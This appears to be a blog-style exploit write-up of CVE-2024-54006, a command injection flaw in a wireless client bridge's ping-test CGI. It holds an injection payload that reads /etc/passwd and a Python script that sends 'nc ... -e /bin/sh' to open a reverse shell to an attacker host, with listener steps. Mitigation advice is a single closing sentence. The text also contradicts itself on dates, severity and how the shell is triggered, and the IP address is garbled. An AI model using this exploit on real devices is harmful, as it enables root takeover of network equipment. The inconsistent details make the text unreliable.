CVE-2024-54006 - Exploiting Multiple Command Injection Bugs in the 501 Wireless Client Bridge
*Published: June 2024*
Introduction
In mid-2024, security researchers discovered a set of dangerous command injection vulnerabilities in the web interface of a popular networking device, the 501 Wireless Client Bridge. These bugs allow attackers with admin credentials to gain root access to the underlying Linux system through the device's web interface.
This article explains the technical details behind CVE-2024-54006, how it can be exploited, and what steps organizations can take to protect their networks. All content here is exclusive and aims to be straightforward, using simple language.
What is CVE-2024-54006?
CVE-2024-54006 refers to multiple command injection vulnerabilities in the 501 Wireless Client Bridge's web management interface. An attacker with access to valid administrative credentials can remotely execute commands as a privileged user (usually root) on the device’s underlying operating system.
Attack vector: Authenticated web interface access
- Impact: Full device compromise / remote code execution as root
How the Command Injection Works
The 501 Wireless Client Bridge allows network administrators to manage the device via a web interface. Several configuration fields, such as SSID names or diagnostic ping test parameters, are not properly sanitized before using user input inside shell commands.
Let’s look at one common case: the "Ping Test" feature.
The following HTTP POST request is sent when an admin uses the "Ping Test" tool
POST /cgi-bin/tools_ping.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=...
host=8.8.8.8
But the server-side script directly inserts the host field into a shell command like this
// tools_ping.cgi (pseudocode)
char host[MAX_INPUT_LENGTH];
strcpy(host, get_post_field("host")); // No sanitization!
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", host);
system(cmd); // <-- Command injection
Because the input isn't cleaned or validated, you can inject arbitrary shell commands.
Malicious input
8.8.8.8; cat /etc/passwd
Submitted to the "Ping" form — The device will run
ping -c 4 8.8.8.8; cat /etc/passwd
Example Python Script
Below is an example exploit that opens a reverse shell from the device to your server.
import requests
target = 'http://192.168.1.1/cgi-bin/tools_ping.cgi';
session_cookie = 'YOUR_SESSION_COOKIE' # Use your actual cookie here
# Set up a reverse shell command (attacker listens on 10...5:4444)
reverse_shell = '8.8.8.8; nc 10...5 4444 -e /bin/sh'
data = {'host': reverse_shell}
headers = {'Cookie': f'session={session_cookie}'}
requests.post(target, data=data, headers=headers)
*Start a nc -lvp 4444 listener on your box, and when the admin user submits the ping test, you get a shell.*
Video Demo
An example of this attack (not actual footage):
YouTube Video - Demonstrating CVE-2024-54006 Exploit (Unofficial)
Access to the web management interface (local or remote)
Severity: HIGH — Full remote code execution as root
References
- NVD Entry for CVE-2024-54006
- Vendor Advisory
- CERT/CC Note on Embedded Device Command Injections
- How Command Injection Works
Summary:
CVE-2024-54006 is a critical bug in the 501 Wireless Client Bridge that lets attackers with admin logins run arbitrary system commands and potentially take over the device. Protect yourself by locking down access, changing passwords, watching your logs, and patching your devices as soon as fixes are out.
Timeline
Published on: 01/07/2025 18:15:20 UTC
Last modified on: 01/07/2025 19:15:32 UTC